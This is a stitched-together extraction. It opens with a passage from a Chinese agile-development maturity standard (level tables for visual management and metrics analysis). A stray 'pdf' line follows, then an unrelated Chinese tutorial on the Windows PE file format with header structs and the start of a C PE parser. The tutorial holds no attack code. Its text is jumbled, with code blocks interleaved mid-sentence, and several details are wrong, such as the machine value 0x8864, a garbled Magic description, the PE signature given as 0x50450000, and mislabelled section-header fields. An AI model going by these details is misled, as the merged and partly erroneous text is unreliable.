4 在 满 足 前 一 级 别的基础上,从 产 品 规 划 到 产 品 运 营 全 生 命 周 期 的 可 视 管 理 通 过 端 到 端 的 可视化,实现产 品 研 发 的 拉 到 式管理,能暴露 过程中的问题, 管理价值流动 能建立持续反馈 机制,持续改进 无 通过如看板等 工具进行可视 化管理 5 同上 同上 同上 企业采用扁平化 的敏捷团队组织 架构,赋予团队围 绕产品自组织、自 管理的权力,包括 但不限于产品规 划、建设、运营、 人力、绩效、核算 等。敏捷团队以业 务价值为核心以 运营为驱动的敏 捷工作模式,企业 为团队提供 IT 基 础设施、基础管理 等支持 在扁平化组织 架构下,由企 业提供过程可 视 化 管 理 平 台,可视化产 品从用户价值 提出到交付的 完整过程,提 供数据支撑, 建立反馈,持 续优化改进 8.4 度量分析 度量分析是对迭代过程中研发效率、质量数据进行分析,反映过程的健康程度;通过对产品端到端 指标数据进行分析,实时反映产品的表现。驱动敏捷迭代的过程改进,推动企业组织架构、人员结构、 财务制度等方面进行不断优化。使用敏捷迭代的方式推进改进措施的实施。度量分析主要体现在以下三 个方面: 1)度量的粒度:是指敏捷迭代分析度量的详细程度; 2)度量的范围:是指分析度量涉及人员组织,范围大小; 3)度量驱动持续改进:是指在分析发现问题后,能不断进行落地改进。 敏捷开发管理中,度量分析根据以上三个方面所能达到的不同程度分为以下5个等级,具体如下: 19 级别 主要工作完备性 人员机制 工具能力 备注 度量粒度 度量范围 度量驱动持续 改进 1 能 对 团 队 结 果 数 据 指 标 进 行 分析跟踪。没有 形 成 有 效 的 过 程 指 标 分 析 跟 踪支持 团队内 能对产品研发中 质量问题进行分 析,形成分析报 告,对改进措施 的落地推进较弱 无 无 2 在敏捷团队中, 能 对 迭 代 过 程 指标进行分析, 从交付质量、交 付 速 度 等 方 面 进行分析,反映 研 发 过 程 的 健 康程度 团队内 能对团队敏捷过 程发现的问题, 形成团队代办任 务,以敏捷迭代 的方式实施改进 措施 无 无 3 在 团 队 级 的 基 础上,能围绕产 品 的 完 整 生 命 周期,从需求提 出、研发、交付、 运 营 反 馈 等 建 立 指 标 分 析 体 系 团 队 内 及 团 队 间 在团队级的基础 上,建立跨团队 的产品级回顾会 议,在会议上对 多团队的迭代对 齐问题,人员技 能等问题进行分 析,形成解决方 案,以迭代的方 式持续推进解决 方案落地实施 无 无 4 同上 同上 在产品级回顾会 议上能以平台数 据为支撑,分析 敏 捷 过 程 的 问 题,制定改进计 划,以迭代的方 式持续改进 无 能通过平台支 撑产品从需求 到交付的端到 端的过程指标 展示,提供指 标数据的报表 分析能力,能 从数据中分析 发现协作的问 题 5 同上 企业级 以企业级平台数 据为支撑,从战 略角度分析敏捷 实 施 过 程 的 问 企业采用扁平化 的敏捷团队组织 架构,赋予团队围 绕产品自组织、自 建立企业级工 具平台,能通 过平台指标数 据反映产品研 20 题,推动企业在 组织架构、人员 结构、财务制度 等方面进行持续 改进 管理的权力,包括 但不限于产品规 划、建设、运营、 人力、绩效、核算 等。敏捷团队以业 务价值为核心以 运营为驱动的敏 捷工作模式,企业 为团队提供 IT 基 础设施、基础管理 等支持 发、公司战略、 资金使用、组 织效能等方面 的问题
pdf
PE格式详解 概述 PE文件的全称为Portable Executable,是windows操作系统下可执行文件的一种文件格式,符合 COFF标准(Common Object File Format:https://en.wikipedia.org/wiki/COFF),除了我们常见的exe文 件,像windows下的动态链接库文件(.dll),内核驱动(.srv),控制面板文件(.cpl)等都属于PE文件。 PE文件是一种数据结构,里面包含了OS加载程序能够把它加载到内存中并运行的所需的信息。 结构预览 一个典型的PE结构如下图所示: 如果使用PEbear(https://github.com/hasherezade/pe-bear-releases)打开一个可执行文件,我们能 够看到相同的结构: DOS Header 每个PE文件都以一个64字节的结构开头,称为DOS Header,它使得PE文件成为windows下的可执行 文件。 DOS Stub 在DOS Header之后便是DOS Stub,它是一个小的MS-DOS 2.0下面的可执行文件,当文件以DOS模 式运行时会打印一串错误信息:“This program cannot be run in DOS mode” NT Headers NT Header主要有下面几个部分组成: PE signature : 将文件标识为PE文件的一个四字节的签名 File Header:标准COFF头,里面包含了一些有关PE文件的信息 Optional Header: NT Header中最重要的部分,该头为系统加载提供信息。 Section Table 跟在NT Header之后,其为一个数组,PE 文件中的每个节都有一个节标题。每个标题都包含有关它所 引用的部分的信息。 Sections 节是存储文件实际内容的地方,包括程序使用的数据和资源等内容,以及程序的实际代码,有几个 节,每个节都有自己的用途。 下面是每个部分的详细介绍。 DOS Header 结构 如前文所说,其为一个64字节长度的结构,其定义在winnt.h中,名为IMAGE_DOS_HEADER: 下面是一些比较重要部分的介绍: e_magic: 它是DOS Header的第一个成员,数据类型为WORD,所以占2字节,其拥有一个固定 的ASCII值0x5A4D或MZ,其作用为将文件标识为可执行文件。 e_lfanew:它是DOS Header的最后一个成员,位于DOS头的0x3c偏移处,它保存了到NT Header的偏移量,它告诉加载器去哪里寻找文件头。 在PEbear下显示如下: typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header    WORD   e_magic;                     // Magic number    WORD   e_cblp;                      // Bytes on last page of file    WORD   e_cp;                        // Pages in file    WORD   e_crlc;                      // Relocations    WORD   e_cparhdr;                   // Size of header in paragraphs    WORD   e_minalloc;                  // Minimum extra paragraphs needed    WORD   e_maxalloc;                  // Maximum extra paragraphs needed    WORD   e_ss;                        // Initial (relative) SS value    WORD   e_sp;                        // Initial SP value    WORD   e_csum;                      // Checksum    WORD   e_ip;                        // Initial IP value    WORD   e_cs;                        // Initial (relative) CS value    WORD   e_lfarlc;                    // File address of relocation table    WORD   e_ovno;                      // Overlay number    WORD   e_res[4];                    // Reserved words    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)    WORD   e_oeminfo;                   // OEM information; e_oemid specific    WORD   e_res2[10];                  // Reserved words    LONG   e_lfanew;                    // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; 最后一个位置的成员的值为100,100处就是NT Header的初始位置: DOS Stub 由上文可知,该部分并无实际意义。提取后如下: 保存为exe文件,使用IDA打开显示如下: 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 记得以16位模式打开: 其中: 这里的9属于DOS-API的内容,作用为: Display string,详细请看:https://en.wikipedia.org/wiki/DO S_API 下面的代码内容大同小异,总而言之就是打印错误信息,并返回1。 Rich Header 这个位于DOS Stub与NT Header之间,只存在于使用VS编译的可执行文件之中。 该数据为XOR后的数据,解密时需要使用Checksum的值进行解密即:c1d709d7,该区域并无什么具体 意义,可以直接清空,不影响运行,手工揭秘可以参考:https://github.com/kirschju/richheader 总结下来就是: seg000:0002                 mov     dx, 0Eh seg000:0005                 mov     ah, 9 seg000:0007                 int     21h             ; DOS - PRINT STRING seg000:0007                                         ; DS:DX -> string terminated by "$" NT Header NT Headers (IMAGE_NT_HEADERS) 其结构体称为IMAGE_NT_HEADERS,分别有32位和64位版本,分别如下: Signature IMAGE_NT_HEADERS结构体的第一个字段,其为一个DWORD,占四个字节,其总为一个固定值, 0x50450000,即PE签名。 File Header (IMAGE_FILE_HEADER) 也被称为COFF文件头,其结构体定义如下: 其包含了7个字段,简单介绍一下每个成员的含义: typedef struct _IMAGE_NT_HEADERS64 {    DWORD Signature;    IMAGE_FILE_HEADER FileHeader;    IMAGE_OPTIONAL_HEADER64 OptionalHeader; } IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64; typedef struct _IMAGE_NT_HEADERS {    DWORD Signature;    IMAGE_FILE_HEADER FileHeader;    IMAGE_OPTIONAL_HEADER32 OptionalHeader; } IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32; typedef struct _IMAGE_FILE_HEADER {    WORD    Machine;    WORD    NumberOfSections;    DWORD   TimeDateStamp;    DWORD   PointerToSymbolTable;    DWORD   NumberOfSymbols;    WORD    SizeOfOptionalHeader;    WORD    Characteristics; } IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER; Machine:该字段主要表示文件所针对的机器类型,比如0x8864 是64位,0x14c 是32位,其他的 值可以参考:https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#machine-t ypes NumberOfSections:节表数,也就是节表的大小 TimeDateStamp:文件创建的时间戳 PointerToSymbolTable and NumberOfSymbols:这两个字段为COFF相关的信息,一般为0, 因为COFF调试信息已经被弃用。 SizeOfOptionalHeader:OptionalHeader的大小 Characteristics:文件属性标识,详细信息如下:https://docs.microsoft.com/en-us/windows/ win32/debug/pe-format#characteristics 其在PEbear显示如下: Optional Header (IMAGE_OPTIONAL_HEADER) Optional Header 是 NT 头文件中最重要的头文件,PE 加载器会查找该头文件提供的特定信息,以便 能够加载和运行可执行文件。 之所以称为可选标头,是因为某些文件类型(如目标文件)没有它。它没有固定的大小,这就是 IMAGE_FILE_HEADER.SizeOfOptionalHeader成员存在的原因。 其也存在32位和64位不同版本的结构体,IMAGE_OPTIONAL_HEADER32有 31 个成员,而 IMAGE_OPTIONAL_HEADER64只有 30 个成员,且像下面的字段数据类型也不相同,32位的是 DWORD,64位的是ULONGLONG ImageBase SizeOfStackReserve SizeOfStackCommit SizeOfHeapReserve SizeOfHeapCommit 64: typedef struct _IMAGE_OPTIONAL_HEADER {    //    // Standard fields.    //    WORD    Magic;    BYTE    MajorLinkerVersion;    BYTE    MinorLinkerVersion;    DWORD   SizeOfCode;    DWORD   SizeOfInitializedData;    DWORD   SizeOfUninitializedData;    DWORD   AddressOfEntryPoint;    DWORD   BaseOfCode;    DWORD   BaseOfData;    //    // NT additional fields.    //    DWORD   ImageBase;    DWORD   SectionAlignment;    DWORD   FileAlignment;    WORD    MajorOperatingSystemVersion;    WORD    MinorOperatingSystemVersion;    WORD    MajorImageVersion;    WORD    MinorImageVersion;    WORD    MajorSubsystemVersion;    WORD    MinorSubsystemVersion;    DWORD   Win32VersionValue;    DWORD   SizeOfImage;    DWORD   SizeOfHeaders;    DWORD   CheckSum;    WORD    Subsystem;    WORD    DllCharacteristics;    DWORD   SizeOfStackReserve;    DWORD   SizeOfStackCommit;    DWORD   SizeOfHeapReserve;    DWORD   SizeOfHeapCommit;    DWORD   LoaderFlags;    DWORD   NumberOfRvaAndSizes;    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32; typedef struct _IMAGE_OPTIONAL_HEADER64 {    WORD        Magic;    BYTE        MajorLinkerVersion;    BYTE        MinorLinkerVersion;    DWORD       SizeOfCode; 下面是一些字段的含义: Magic:标识文件属性,比如0x10B为0x10B,0x20B为PE32+、0x107为ROM 。 MajorLinkerVersion MinorLinkerVersion:标识链接器的主次版本号。 SizeOfCode:.text部分的大小,如果有多个.text则为总和 SizeOfInitializedData:已初始化.data部分的大小,如果有多个.data则为总和 SizeOfUninitializedData:未初始化.bss部分的大小,如果有多个.bss则为总和 AddressOfEntryPoint:文件加载到内存时入口点的RVA,若没有入口点则为0。 BaseOfCode:文件加载到内存之后代码部分开始的RVA BaseOfData:文件加载到内存之后数据部分开始的RVA,仅限32位 ImageBase:该字段因为ASLR(地址随机化)的存在一般不使用 SectionAlignment:用于节对其,其不能小于FileAlignment FileAlignment:用于磁盘上原始数据的对齐,也就是文件对齐 ajorOperatingSystemVersion, MinorOperatingSystemVersion, MajorImageVersion, MinorImageVersion, MajorSubsystemVersionand MinorSubsystemVersion:各类版本号 Win32VersionValue:保留字段 SizeOfImage:文件大小 SizeOfHeaders:Header部分的大小 CheckSum:文件校验 Subsystem:运行所需的子系统, DLLCharacteristics:定义可执行文件的一些特征。 SizeOfStackReserve、SizeOfStackCommit、SizeOfHeapReserve和SizeOfHeapCommit:关于 堆栈的一些内容    DWORD       SizeOfInitializedData;    DWORD       SizeOfUninitializedData;    DWORD       AddressOfEntryPoint;    DWORD       BaseOfCode;    ULONGLONG   ImageBase;    DWORD       SectionAlignment;    DWORD       FileAlignment;    WORD        MajorOperatingSystemVersion;    WORD        MinorOperatingSystemVersion;    WORD        MajorImageVersion;    WORD        MinorImageVersion;    WORD        MajorSubsystemVersion;    WORD        MinorSubsystemVersion;    DWORD       Win32VersionValue;    DWORD       SizeOfImage;    DWORD       SizeOfHeaders;    DWORD       CheckSum;    WORD        Subsystem;    WORD        DllCharacteristics;    ULONGLONG   SizeOfStackReserve;    ULONGLONG   SizeOfStackCommit;    ULONGLONG   SizeOfHeapReserve;    ULONGLONG   SizeOfHeapCommit;    DWORD       LoaderFlags;    DWORD       NumberOfRvaAndSizes;    IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64; LoaderFlags:保留字段 NumberOfRvaAndSizes :DataDirectory的大小 DataDirectory:一个IMAGE_DATA_DIRECTORY数组 其文件对其为200,可以在.data处看到: Data Directories 数据目录,其为Optional Header的最后一个部分,是IMAGE_DATA_DIRECTORY定义的一个数组,一般 其 IMAGE_NUMBEROF_DIRECTORY_ENTRIES为16。 其结构如下: 这是一个非常简单的结构,只有两个成员,第一个是指向数据目录开头的 RVA,第二个是数据目录的大 小。数据目录是位于 PE 文件的一个部分中的一段数据。 数据目录包含加载程序所需的有用信息,一个非常重要的目录示例是导入目录,其中包含从其他库导入 的外部函数列表,并非所有的数据目录都拥有相同的结构,但目录类型决定了该如何解析这些数据块 #define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16 typedef struct _IMAGE_DATA_DIRECTORY {    DWORD   VirtualAddress;    DWORD   Size; } IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY; // Directory Entries #define IMAGE_DIRECTORY_ENTRY_EXPORT         0   // Export Directory #define IMAGE_DIRECTORY_ENTRY_IMPORT         1   // Import Directory #define IMAGE_DIRECTORY_ENTRY_RESOURCE       2   // Resource Directory #define IMAGE_DIRECTORY_ENTRY_EXCEPTION       3   // Exception Directory #define IMAGE_DIRECTORY_ENTRY_SECURITY       4   // Security Directory #define IMAGE_DIRECTORY_ENTRY_BASERELOC       5   // Base Relocation Table #define IMAGE_DIRECTORY_ENTRY_DEBUG           6   // Debug Directory //     IMAGE_DIRECTORY_ENTRY_COPYRIGHT       7   // (X86 usage) #define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE   7   // Architecture Specific Data #define IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8   // RVA of GP #define IMAGE_DIRECTORY_ENTRY_TLS             9   // TLS Directory #define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG   10   // Load Configuration Directory #define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11   // Bound Import Directory in headers #define IMAGE_DIRECTORY_ENTRY_IAT           12   // Import Address Table #define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13   // Delay Load Import Descriptors #define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14   // COM Runtime descriptor Sections and Section Headers Sections 节是实际存放数据的地方,下面是一些介绍: .text : 程序的可执行代码 .data : 包含初始化数据 .bss : 包含未初始化的数据 .rdata : 包含只读初始化数据 .edata : 包含导出表 .idata : 包含导入表 .reloc : 包含文件重定位信息 .rsrc : 包含所使用的资源信息,图片、图标等. .tls : (Thread Local Storage), 为程序的线程提供存储空间。 Section Headers 其为一个数据结构,IMAGE_SECTION_HEADER 定义如下 每个字段含义如下: Name :Section Headers的第一个字段,为一个IMAGE_SIZEOF_SHORT_NAME大小的数组。一 般不能超过8个字符的值。 PhysicalAddress or VirtualSize :该部分为加载到内存之后的总大小 VirtualAddress :对于可执行文件,其保存加载到内存时相对于文件的第一个字节的地址 VirtualAddress :磁盘上节的大小 PointerToRawData :指向文件内节的第一页的指针,对于可执行文件,它必须是 IMAGE_OPTIONAL_HEADER.FileAlignment PointerToRelocations :指向重定位开头的文件指针 Characteristics :特征信息,以及其内存属性(RWX) typedef struct _IMAGE_SECTION_HEADER {    BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];    union {            DWORD   PhysicalAddress;            DWORD   VirtualSize;   } Misc;    DWORD   VirtualAddress;    DWORD   SizeOfRawData;    DWORD   PointerToRawData;    DWORD   PointerToRelocations;    DWORD   PointerToLinenumbers;    WORD    NumberOfRelocations;    WORD    NumberOfLinenumbers;    DWORD   Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER; Import Directory Table 其由一个IMAGE_IMPORT_DESCRIPTOR结构体构成。其定义如下: OriginalFirstThunk :为ILT的RVA地址。 TimeDateStamp :日期时间戳 ForwarderChain :转发器的索引,负责dll的转发 Name :包含导入的 DLL 名称的 ASCII 字符串的 RVA FirstThunk :IAT的RVA Bound Imports 绑定导入本质上意味着导入表包含导入函数的固定地址。这些地址由链接器在编译期间计算和写入,如 果使用了绑定导入,则IMAGE_IMPORT_DESCRIPTOR.TimeDateStamp会被设置为-1。 Bound Import Data Directory 绑定导入数据目录,其由IMAGE_BOUND_IMPORT_DESCRIPTOR构成。 TimeDateStamp :导入的DLL的时间戳 OffsetModuleName :导入DLL的字符串的偏移 typedef struct _IMAGE_IMPORT_DESCRIPTOR {    union {        DWORD   Characteristics;        DWORD   OriginalFirstThunk;   } DUMMYUNIONNAME;    DWORD   TimeDateStamp;    DWORD   ForwarderChain;    DWORD   Name;    DWORD   FirstThunk; } IMAGE_IMPORT_DESCRIPTOR; typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR; typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR {    DWORD   TimeDateStamp;    WORD    OffsetModuleName;    WORD    NumberOfModuleForwarderRefs; // Array of zero or more IMAGE_BOUND_FORWARDER_REF follows } IMAGE_BOUND_IMPORT_DESCRIPTOR,  *PIMAGE_BOUND_IMPORT_DESCRIPTOR; Import Lookup Table (ILT) 导入查找表,有时也称导入名称表(INT),每个导入的 DLL 都有一个导入查找表。 IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk持有相应 DLL 的 ILT 的 RVA。ILT 本质上是一个名称 或引用表,它告诉加载程序需要从导入的 DLL 中获取哪些函数。 Import Address Table (IAT) 在磁盘上,IAT 与 ILT 相同,但是在将二进制文件加载到内存的时,IAT 会被正在导入的函数的地址覆 盖。 TimeDateStamp所有导入的 都设置为0,这意味着这些导入都没有绑定。 PE Base Relocations Relocations 编译程序时,编译器假定可执行文件将在某个基地址加载,该地址保存在 IMAGE_OPTIONAL_HEADER.ImageBase中,计算出一些地址,然后根据基地址在可执行文件中进行硬 编码。 然而,由于各种原因,可执行文件不太可能获得其所需的基地址,它将被加载到另一个基地址中,这将 使所有硬编码地址无效。 如果图像加载到不同的基地址,则需要修复的所有硬编码值的列表保存在称为重定位表(该.reloc部分中 的数据目录)的特殊表中。重新定位的过程(由加载程序完成)就是修复这些值。 Relocation Table 基址重定位表包含映像中所有基址重定位的条目。它是位于该.reloc部分中的数据目录,它分为多个块, 每个块代表一个 4K 页面的基址重定位,每个块必须从 32 位边界开始。每个块以一个 IMAGE_BASE_RELOCATION结构开始,后跟任意数量的偏移字段条目。该IMAGE_BASE_RELOCATION 结构指定页面 RVA 和重定位块的大小。 每个重定位项通过将页面的RVA与图像基地址相加,然后加上重定位项中指定的偏移量来处理,就可以 得到需要修复的位置的绝对地址。 可以看到其包含一个重定位块,大小为2C。 PE解析器编写 typedef struct _IMAGE_BASE_RELOCATION {    DWORD   VirtualAddress;    DWORD   SizeOfBlock; } IMAGE_BASE_RELOCATION; typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; 首先,我们新建一个文件,把所需的数据结构全都放进去: typedef unsigned char BYTE; typedef unsigned short WORD; typedef unsigned long DWORD; typedef unsigned long long QWORD; typedef unsigned long LONG; typedef __int64 LONGLONG; typedef unsigned __int64 ULONGLONG; #define ___IMAGE_NT_OPTIONAL_HDR32_MAGIC       0x10b #define ___IMAGE_NT_OPTIONAL_HDR64_MAGIC       0x20b #define ___IMAGE_NUMBEROF_DIRECTORY_ENTRIES   16 #define ___IMAGE_DOS_SIGNATURE                 0x5A4D #define ___IMAGE_DIRECTORY_ENTRY_EXPORT         0 #define ___IMAGE_DIRECTORY_ENTRY_IMPORT         1 #define ___IMAGE_DIRECTORY_ENTRY_RESOURCE       2 #define ___IMAGE_DIRECTORY_ENTRY_EXCEPTION       3 #define ___IMAGE_DIRECTORY_ENTRY_SECURITY       4 #define ___IMAGE_DIRECTORY_ENTRY_BASERELOC       5 #define ___IMAGE_DIRECTORY_ENTRY_DEBUG           6 #define ___IMAGE_DIRECTORY_ENTRY_ARCHITECTURE   7 #define ___IMAGE_DIRECTORY_ENTRY_GLOBALPTR       8 #define ___IMAGE_DIRECTORY_ENTRY_TLS             9 #define ___IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG   10 #define ___IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT   11 #define ___IMAGE_DIRECTORY_ENTRY_IAT           12 #define ___IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT   13 #define ___IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 #define ___IMAGE_SIZEOF_SHORT_NAME             8 #define ___IMAGE_SIZEOF_SECTION_HEADER         40 typedef struct __IMAGE_DOS_HEADER {    WORD   e_magic;    WORD   e_cblp;    WORD   e_cp;    WORD   e_crlc;    WORD   e_cparhdr;    WORD   e_minalloc;    WORD   e_maxalloc;    WORD   e_ss;    WORD   e_sp;    WORD   e_csum;    WORD   e_ip;    WORD   e_cs;    WORD   e_lfarlc;    WORD   e_ovno;    WORD   e_res[4];    WORD   e_oemid;    WORD   e_oeminfo;    WORD   e_res2[10];    LONG   e_lfanew; } ___IMAGE_DOS_HEADER, * ___PIMAGE_DOS_HEADER; typedef struct __IMAGE_DATA_DIRECTORY {    DWORD   VirtualAddress;    DWORD   Size; } ___IMAGE_DATA_DIRECTORY, * ___PIMAGE_DATA_DIRECTORY; typedef struct __IMAGE_OPTIONAL_HEADER {    WORD    Magic;    BYTE    MajorLinkerVersion;    BYTE    MinorLinkerVersion;    DWORD   SizeOfCode;    DWORD   SizeOfInitializedData;    DWORD   SizeOfUninitializedData;    DWORD   AddressOfEntryPoint;    DWORD   BaseOfCode;    DWORD   BaseOfData;    DWORD   ImageBase;    DWORD   SectionAlignment;    DWORD   FileAlignment;    WORD    MajorOperatingSystemVersion;    WORD    MinorOperatingSystemVersion;    WORD    MajorImageVersion;    WORD    MinorImageVersion;    WORD    MajorSubsystemVersion;    WORD    MinorSubsystemVersion;    DWORD   Win32VersionValue;    DWORD   SizeOfImage;    DWORD   SizeOfHeaders;    DWORD   CheckSum;    WORD    Subsystem;    WORD    DllCharacteristics;    DWORD   SizeOfStackReserve;    DWORD   SizeOfStackCommit;    DWORD   SizeOfHeapReserve;    DWORD   SizeOfHeapCommit;    DWORD   LoaderFlags;    DWORD   NumberOfRvaAndSizes;    ___IMAGE_DATA_DIRECTORY DataDirectory[___IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } ___IMAGE_OPTIONAL_HEADER32, * ___PIMAGE_OPTIONAL_HEADER32; typedef struct __IMAGE_OPTIONAL_HEADER64 {    WORD        Magic;    BYTE        MajorLinkerVersion;    BYTE        MinorLinkerVersion;    DWORD       SizeOfCode;    DWORD       SizeOfInitializedData;    DWORD       SizeOfUninitializedData;    DWORD       AddressOfEntryPoint;    DWORD       BaseOfCode;    ULONGLONG   ImageBase;    DWORD       SectionAlignment;    DWORD       FileAlignment;    WORD        MajorOperatingSystemVersion;    WORD        MinorOperatingSystemVersion;    WORD        MajorImageVersion;    WORD        MinorImageVersion;    WORD        MajorSubsystemVersion;    WORD        MinorSubsystemVersion;    DWORD       Win32VersionValue;    DWORD       SizeOfImage;    DWORD       SizeOfHeaders;    DWORD       CheckSum;    WORD        Subsystem;    WORD        DllCharacteristics;    ULONGLONG   SizeOfStackReserve;    ULONGLONG   SizeOfStackCommit;    ULONGLONG   SizeOfHeapReserve;    ULONGLONG   SizeOfHeapCommit;    DWORD       LoaderFlags;    DWORD       NumberOfRvaAndSizes;    ___IMAGE_DATA_DIRECTORY DataDirectory[___IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } ___IMAGE_OPTIONAL_HEADER64, * ___PIMAGE_OPTIONAL_HEADER64; typedef struct __IMAGE_FILE_HEADER {    WORD    Machine;    WORD    NumberOfSections;    DWORD   TimeDateStamp;    DWORD   PointerToSymbolTable;    DWORD   NumberOfSymbols;    WORD    SizeOfOptionalHeader;    WORD    Characteristics; } ___IMAGE_FILE_HEADER, * ___PIMAGE_FILE_HEADER; typedef struct __IMAGE_NT_HEADERS64 {    DWORD Signature;    ___IMAGE_FILE_HEADER FileHeader;    ___IMAGE_OPTIONAL_HEADER64 OptionalHeader; } ___IMAGE_NT_HEADERS64, * ___PIMAGE_NT_HEADERS64; typedef struct __IMAGE_NT_HEADERS {    DWORD Signature;    ___IMAGE_FILE_HEADER FileHeader;    ___IMAGE_OPTIONAL_HEADER32 OptionalHeader; } ___IMAGE_NT_HEADERS32, * ___PIMAGE_NT_HEADERS32; typedef struct __IMAGE_IMPORT_DESCRIPTOR {    union {        DWORD   Characteristics;        DWORD   OriginalFirstThunk;   } DUMMYUNIONNAME;    DWORD   TimeDateStamp;    DWORD   ForwarderChain;    DWORD   Name;    DWORD   FirstThunk; } ___IMAGE_IMPORT_DESCRIPTOR, * ___PIMAGE_IMPORT_DESCRIPTOR; typedef struct __IMAGE_IMPORT_BY_NAME {    WORD    Hint;    char   Name[100]; } ___IMAGE_IMPORT_BY_NAME, * ___PIMAGE_IMPORT_BY_NAME; typedef struct __IMAGE_BASE_RELOCATION {    DWORD   VirtualAddress;    DWORD   SizeOfBlock; } ___IMAGE_BASE_RELOCATION, * ___PIMAGE_BASE_RELOCATION; 另外我们还需定义像rich header、ILT_ENTRY等结构: typedef struct __IMAGE_SECTION_HEADER {    BYTE    Name[___IMAGE_SIZEOF_SHORT_NAME];    union {        DWORD   PhysicalAddress;        DWORD   VirtualSize;   } Misc;    DWORD   VirtualAddress;    DWORD   SizeOfRawData;    DWORD   PointerToRawData;    DWORD   PointerToRelocations;    DWORD   PointerToLinenumbers;    WORD    NumberOfRelocations;    WORD    NumberOfLinenumbers;    DWORD   Characteristics; } ___IMAGE_SECTION_HEADER, * ___PIMAGE_SECTION_HEADER; typedef struct __RICH_HEADER_INFO {    int size;    char* ptrToBuffer;    int entries; } RICH_HEADER_INFO, * PRICH_HEADER_INFO; typedef struct __RICH_HEADER_ENTRY {    WORD  prodID;    WORD  buildID;    DWORD useCount; } RICH_HEADER_ENTRY, * PRICH_HEADER_ENTRY; typedef struct __RICH_HEADER {    PRICH_HEADER_ENTRY entries; } RICH_HEADER, * PRICH_HEADER; 然后就是处理RVA地址转换问题,这里给出一个公式,按照这个编写代码即可: 验证是否为PE文件: typedef struct __ILT_ENTRY_32 {    union {        DWORD ORDINAL : 16;        DWORD HINT_NAME_TABE : 32;        DWORD ORDINAL_NAME_FLAG : 1;   } FIELD_1; } ILT_ENTRY_32, * PILT_ENTRY_32; typedef struct __ILT_ENTRY_64 {    union {        DWORD ORDINAL : 16;        DWORD HINT_NAME_TABE : 32;   } FIELD_2;    DWORD ORDINAL_NAME_FLAG : 1; } ILT_ENTRY_64, * PILT_ENTRY_64; typedef struct __BASE_RELOC_ENTRY {    WORD OFFSET : 12;    WORD TYPE : 4; } BASE_RELOC_ENTRY, * PBASE_RELOC_ENTRY; int INITPARSE(FILE* PpeFile) { ___IMAGE_DOS_HEADER TMP_DOS_HEADER; WORD PEFILE_TYPE; fseek(PpeFile, 0, SEEK_SET); fread(&TMP_DOS_HEADER, sizeof(___IMAGE_DOS_HEADER), 1, PpeFile); if (TMP_DOS_HEADER.e_magic != ___IMAGE_DOS_SIGNATURE) { printf("Error. Not a PE file.\n"); return 1; } 解析NT Header fseek(PpeFile, (TMP_DOS_HEADER.e_lfanew + sizeof(DWORD) + sizeof(___IMAGE_FILE_HEADER)), SEEK_SET); fread(&PEFILE_TYPE, sizeof(WORD), 1, PpeFile); if (PEFILE_TYPE == ___IMAGE_NT_OPTIONAL_HDR32_MAGIC) { return 32; } else if (PEFILE_TYPE == ___IMAGE_NT_OPTIONAL_HDR64_MAGIC) { return 64; } else { printf("Error while parsing IMAGE_OPTIONAL_HEADER.Magic. Unknown Type.\n"); return 1; } } void PE64FILE::ParseNTHeaders() { fseek(Ppefile, PEFILE_DOS_HEADER.e_lfanew, SEEK_SET); fread(&PEFILE_NT_HEADERS, sizeof(PEFILE_NT_HEADERS), 1, Ppefile); PEFILE_NT_HEADERS_SIGNATURE = PEFILE_NT_HEADERS.Signature; PEFILE_NT_HEADERS_FILE_HEADER_MACHINE = PEFILE_NT_HEADERS.FileHeader.Machine; PEFILE_NT_HEADERS_FILE_HEADER_NUMBER0F_SECTIONS = PEFILE_NT_HEADERS.FileHeader.NumberOfSections; PEFILE_NT_HEADERS_FILE_HEADER_SIZEOF_OPTIONAL_HEADER = PEFILE_NT_HEADERS.FileHeader.SizeOfOptionalHeader; PEFILE_NT_HEADERS_OPTIONAL_HEADER_MAGIC = PEFILE_NT_HEADERS.OptionalHeader.Magic; PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_CODE = PEFILE_NT_HEADERS.OptionalHeader.SizeOfCode; PEFILE_NT_HEADERS_OPTIONAL_HEADER_SIZEOF_INITIALIZED_DATA = PEFILE_NT_HEADERS.OptionalHeader.SizeOfInitializedData; 